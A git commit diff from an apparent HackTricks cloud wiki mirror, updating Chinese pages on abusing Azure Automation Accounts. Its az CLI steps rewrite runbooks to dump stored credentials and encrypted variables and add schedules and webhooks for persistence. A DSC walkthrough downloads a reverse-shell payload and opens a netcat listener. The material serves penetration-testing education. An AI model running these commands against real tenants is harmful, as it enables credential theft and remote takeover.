mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,11 +10,20 @@
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
|
||||
请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。
|
||||
|
||||
此外,如果混合工作者在Azure中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份以及虚拟机的所有托管身份,来自元数据服务**。
|
||||
|
||||
> [!TIP]
|
||||
> 请记住,**元数据服务**的URL与获取自动化帐户的托管身份令牌的服务不同(**`http://169.254.169.254`**)。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
总的来说,这些权限允许在自动化帐户中**创建、修改和运行 Runbooks**,您可以利用这些权限在自动化帐户的上下文中**执行代码**,并提升到分配的**托管身份**的权限,泄露存储在自动化帐户中的**凭据**和**加密变量**。
|
||||
总之,这些权限允许**创建、修改和运行自动化帐户中的运行簿**,您可以利用这些权限在自动化帐户的上下文中**执行代码**并提升对分配的**托管身份**的权限,并泄露**凭据**和**存储在自动化帐户中的加密变量**。
|
||||
|
||||
权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中 Runbook 的代码:
|
||||
权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中运行簿的代码:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -27,9 +36,9 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。
|
||||
注意之前的脚本如何可以用来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。
|
||||
|
||||
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改:
|
||||
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布一个Runbook,以便应用更改:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
@@ -38,7 +47,11 @@ az automation runbook publish \
|
||||
```
|
||||
权限 **`Microsoft.Automation/automationAccounts/jobs/write`** 允许用户使用以下方式在自动化帐户中运行 Runbook:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
--resource-group <res-group> \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
权限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 允许用户使用以下方式读取自动化帐户中作业的输出:
|
||||
```bash
|
||||
@@ -51,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
此权限允许用户使用**分配用户管理的身份**到自动化帐户:
|
||||
此权限允许用户使用以下方式**将用户管理的身份分配**给自动化帐户:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -69,7 +82,7 @@ az rest --method PATCH \
|
||||
|
||||
通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**,可以在自动化帐户中创建一个每15分钟执行一次的新计划(不太隐蔽),使用以下命令。
|
||||
|
||||
请注意,**计划的最小间隔为15分钟**,而**最早开始时间为未来5分钟**。
|
||||
请注意,**计划的最小间隔为15分钟**,并且**最早开始时间为未来5分钟**。
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -91,7 +104,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
然后,使用权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 可以通过以下方式将调度程序分配给运行簿:
|
||||
然后,拥有权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 后,可以使用以下方法将调度程序分配给运行簿:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -116,7 +129,7 @@ az rest --method PUT \
|
||||
|
||||
拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。
|
||||
|
||||
请注意,您需要 **指明 webhook URI** 以及要使用的令牌。
|
||||
请注意,您需要 **指明 webhook URI** 及要使用的令牌。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
@@ -180,32 +194,48 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
这将自动将运行簿从Github存储库导入到自动化帐户,并且通过一些其他权限开始运行它们将**可能提升权限**。
|
||||
这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。
|
||||
|
||||
此外,请记住,要在自动化帐户中使用源控制,它必须具有角色**`Contributor`**的托管身份,如果是用户管理的身份,则可以通过在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中设置要使用的用户管理身份的**客户端ID**来进行配置。
|
||||
此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,一旦创建源控制,就无法更改其存储库URL。
|
||||
> 请注意,一旦创建源控制,就无法更改存储库URL。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
通过权限**`Microsoft.Automation/automationAccounts/variables/write`**,可以使用以下命令在自动化帐户中写入变量。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"name": "<variable-name>",
|
||||
"properties": {
|
||||
"description": "",
|
||||
"value": "\"<variable-value>\"",
|
||||
"isEncrypted": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### 自定义运行时环境
|
||||
|
||||
如果自动化帐户使用自定义运行时环境,则可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当执行使用该自定义运行时的运行簿并加载自定义包时,恶意代码将被执行。
|
||||
如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。
|
||||
|
||||
### 破坏状态配置
|
||||
|
||||
**查看完整帖子:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- 第1步 — 创建文件
|
||||
- 第一步 — 创建文件
|
||||
|
||||
**所需文件:** 需要两个PowerShell脚本:
|
||||
1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)获取。
|
||||
2. `push_reverse_shell_config.ps1`:一个将配置发布到VM的脚本,位于[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
|
||||
**所需文件:** 需要两个 PowerShell 脚本:
|
||||
1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
|
||||
2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
|
||||
|
||||
**自定义:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。
|
||||
**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。
|
||||
|
||||
- 第2步 — 压缩配置文件
|
||||
- 第二步 — 压缩配置文件
|
||||
|
||||
将`reverse_shell_config.ps1`压缩为`.zip`文件,以便准备传输到Azure存储帐户。
|
||||
将 `reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储账户。
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
@@ -215,9 +245,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- 第4步 — 准备Kali Box
|
||||
- 第 4 步 — 准备 Kali Box
|
||||
|
||||
Kali服务器从GitHub存储库下载RevPS.ps1有效负载。
|
||||
Kali 服务器从 GitHub 仓库下载 RevPS.ps1 有效载荷。
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
@@ -229,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- 第 6 步 — 托管有效负载并设置监听器
|
||||
|
||||
启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。
|
||||
启动一个 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -1,56 +1,56 @@
|
||||
# Az - Automation Accounts
|
||||
# Az - 自动化账户
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure Automation Accounts 是 Microsoft Azure 中的云服务,帮助 **自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供 **Runbooks**(执行的自动化脚本)、**计划**和 **混合工作组** 来运行自动化 **作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。
|
||||
Azure 自动化账户是 Microsoft Azure 中的云服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**运行簿**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。
|
||||
|
||||
### 设置
|
||||
|
||||
- **凭据**:密码仅在自动化帐户内的 runbook 中可访问,用于 **安全存储用户名和密码**。
|
||||
- **变量**:用于存储可以在 runbooks 中使用的 **配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是 **加密存储**,则仅在自动化帐户内的 runbook 中可用。
|
||||
- **证书**:用于存储可以在 runbooks 中使用的 **证书**。
|
||||
- **连接**:用于存储与外部服务的 **连接信息**。这可能包含 **敏感信息**。
|
||||
- **网络访问**:可以设置为 **公共** 或 **私有**。
|
||||
- **凭据**:密码仅在自动化账户内的运行簿中可访问,用于**安全存储用户名和密码**。
|
||||
- **变量**:用于存储可在运行簿中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**的,则仅在自动化账户内的运行簿中可用。
|
||||
- **证书**:用于存储可在运行簿中使用的**证书**。
|
||||
- **连接**:用于存储与外部服务的**连接信息**。这可能包含**敏感信息**。
|
||||
- **网络访问**:可以设置为**公共**或**私有**。
|
||||
|
||||
## Runbooks & Jobs
|
||||
## 运行簿与作业
|
||||
|
||||
Azure Automation 中的 Runbook 是一个 **自动执行任务的脚本**,在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。
|
||||
Azure 自动化中的运行簿是一个**自动执行任务的脚本**,在您的云环境中运行。运行簿可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如虚拟机管理、补丁或合规检查。
|
||||
|
||||
在 **Runbooks** 中的 **代码** 可能包含 **敏感信息**(如凭据)。
|
||||
在**运行簿**中的**代码**可能包含**敏感信息**(如凭据)。
|
||||
|
||||
转到 `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
**作业是 Runbook 执行的一个实例**。当您运行一个 Runbook 时,会创建一个作业来跟踪该执行。每个作业包括:
|
||||
**作业是运行簿执行的实例**。当您运行一个运行簿时,会创建一个作业来跟踪该执行。每个作业包括:
|
||||
|
||||
- **状态**:排队、运行、完成、失败、挂起。
|
||||
- **输出**:Runbook 执行的结果。
|
||||
- **输出**:运行簿执行的结果。
|
||||
- **开始和结束时间**:作业开始和完成的时间。
|
||||
|
||||
作业包含 **Runbook** 执行的 **输出**。如果您可以 **读取** **作业**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。
|
||||
作业包含**运行簿**执行的**输出**。如果您可以**读取**这些**作业**,请这样做,因为它们**包含**运行的**输出**(潜在的**敏感信息**)。
|
||||
|
||||
### 计划与 Webhooks
|
||||
### 计划与 Webhook
|
||||
|
||||
执行 Runbook 有 3 种主要方式:
|
||||
执行运行簿的主要方式有 3 种:
|
||||
|
||||
- **计划**:用于在 **特定时间** 或 **间隔** 触发 Runbooks。
|
||||
- **Webhooks**:这些是可以用于从 **外部服务** 触发 Runbooks 的 **HTTP 端点**。请注意,创建后 webhook URL **不可见**。
|
||||
- **手动触发**:您可以从 Azure 门户和 CLI **手动触发** Runbook。
|
||||
- **计划**:用于在**特定时间**或**间隔**触发运行簿。
|
||||
- **Webhook**:这些是可用于从**外部服务**触发运行簿的**HTTP 端点**。请注意,创建后 webhook URL 是**不可见**的。
|
||||
- **手动触发**:您可以从 Azure 门户和 CLI 手动触发运行簿。
|
||||
|
||||
### 源控制
|
||||
|
||||
它允许从 **Github、Azure Devops (Git) 和 Azure Devops (TFVC)** 导入 Runbooks。可以指示将 repo 的 Runbooks 发布到 Azure Automation 帐户,也可以指示 **将更改从 repo 同步** 到 Azure Automation 帐户。
|
||||
它允许从**Github、Azure Devops (Git) 和 Azure Devops (TFVC)** 导入运行簿。可以指示将仓库的运行簿发布到 Azure 自动化账户,也可以指示**将更改从仓库同步**到 Azure 自动化账户。
|
||||
|
||||
当同步启用时,在 **Github 仓库中创建一个 webhook**,以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
当同步启用时,在**Github 仓库中会创建一个 webhook**,以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
请注意,这些 webhooks 在列出与 Github repo 关联的 runbooks 时 **不可见**。还要注意,一旦创建,**无法更改源控制的 repo URL**。
|
||||
请注意,这些 webhook 在列出与 Github 仓库关联的运行簿时**不会可见**。还要注意,一旦创建,**无法更改源控制的仓库 URL**。
|
||||
|
||||
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有 **`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account,只需将变量 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 设置为 **用户托管身份客户端 ID**。
|
||||
为了使配置的源控制正常工作,**Azure 自动化账户**需要具有**`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给自动化账户,需要在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指明用户 MI 的客户端 ID。
|
||||
|
||||
### 运行时环境
|
||||
|
||||
创建 Runbook 时,可以选择运行时环境。默认情况下,以下运行时环境可用:
|
||||
创建运行簿时,可以选择运行时环境。默认情况下,以下运行时环境可用:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
@@ -59,25 +59,32 @@ Azure Automation 中的 Runbook 是一个 **自动执行任务的脚本**,在
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
但是,也可以 **创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含要在运行时使用的模块的 `.zip` 包。
|
||||
但是,也可以**创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含模块的 `.zip` 包以在运行时使用。
|
||||
|
||||
### 混合工作者
|
||||
### 混合工作组
|
||||
|
||||
Runbook 可以在 **Azure 内的容器** 或 **混合工作者**(非 Azure 机器)中运行。\
|
||||
在 VM 上部署 **Log Analytics Agent** 以将其注册为混合工作者。\
|
||||
混合工作者作业在 Windows 上以 **SYSTEM** 身份运行,在 Linux 上以 **nxautomation** 帐户运行。\
|
||||
每个混合工作者都注册在 **混合工作者组** 中。
|
||||
在 Azure 自动化中,运行簿的默认执行环境是**Azure 沙箱**,这是一个由 Azure 管理的云平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限,以及执行时间和资源使用的限制。为克服这些限制,采用混合工作组。混合工作组由**一个或多个安装在您自己机器上的混合运行簿工作者**组成,无论是在本地、其他云环境还是 Azure 虚拟机上。此设置允许运行簿直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
|
||||
|
||||
因此,如果您可以选择在 **Windows 混合工作者** 中运行 **Runbook**,您将以 **System** 身份在外部机器上执行 **任意命令**(不错的 pivot 技术)。
|
||||
创建混合工作组时,需要指明要使用的**凭据**。有 2 个选项:
|
||||
|
||||
- **默认凭据**:您无需提供凭据,运行簿将在虚拟机内以**系统**身份执行。
|
||||
- **特定凭据**:您需要提供自动化账户内凭据对象的名称,该凭据将用于在虚拟机内执行**运行簿**。因此,在这种情况下,可能会**窃取虚拟机的有效凭据**。
|
||||
|
||||
因此,如果您可以选择在**Windows 混合工作者**中运行**运行簿**,您将以**系统**身份在外部机器上执行**任意命令**(不错的转移技术)。
|
||||
|
||||
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份和虚拟机的所有托管身份的元数据服务**。
|
||||
|
||||
> [!TIP]
|
||||
> 请记住,**元数据服务**的 URL 与获取自动化账户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。
|
||||
|
||||
### 状态配置 (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> 如 [文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) 中所示,Azure Automation 状态配置将于 2027 年 9 月 30 日退役,并由 [Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) 替代。
|
||||
> 如[文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)所示,Azure 自动化状态配置将在 2027 年 9 月 30 日退役,并由[Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)替代。
|
||||
|
||||
Automation Accounts 还支持 **状态配置 (SC)**,这是一个帮助 **配置** 和 **维护** 您的 VM **状态** 的功能。可以 **创建** 和 **应用** DSC 配置到 **Windows** 和 **Linux** 机器。
|
||||
自动化账户还支持**状态配置 (SC)**,这是一个帮助**配置**和**维护**虚拟机**状态**的功能。可以**创建**和**应用** DSC 配置到**Windows**和**Linux**机器。
|
||||
|
||||
从攻击者的角度来看,这很有趣,因为它允许 **在所有配置的 VM 中执行任意 PS 代码**,从而提升这些 VM 的托管身份的权限,可能会转移到新的网络...此外,配置可能包含 **敏感信息**。
|
||||
从攻击者的角度来看,这很有趣,因为它允许**在所有配置的虚拟机中执行任意 PS 代码**,从而提升到这些虚拟机的托管身份,可能转移到新的网络……此外,配置可能包含**敏感信息**。
|
||||
|
||||
## 枚举
|
||||
```bash
|
||||
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get hybrid worker groups for an automation account
|
||||
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get hybrid worker group details
|
||||
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
|
||||
|
||||
# Get more details about a hybrid worker group (like VMs inside it)
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
||||
```
|
||||
|
||||
```powershell
|
||||
|
||||
Reference in New Issue
Block a user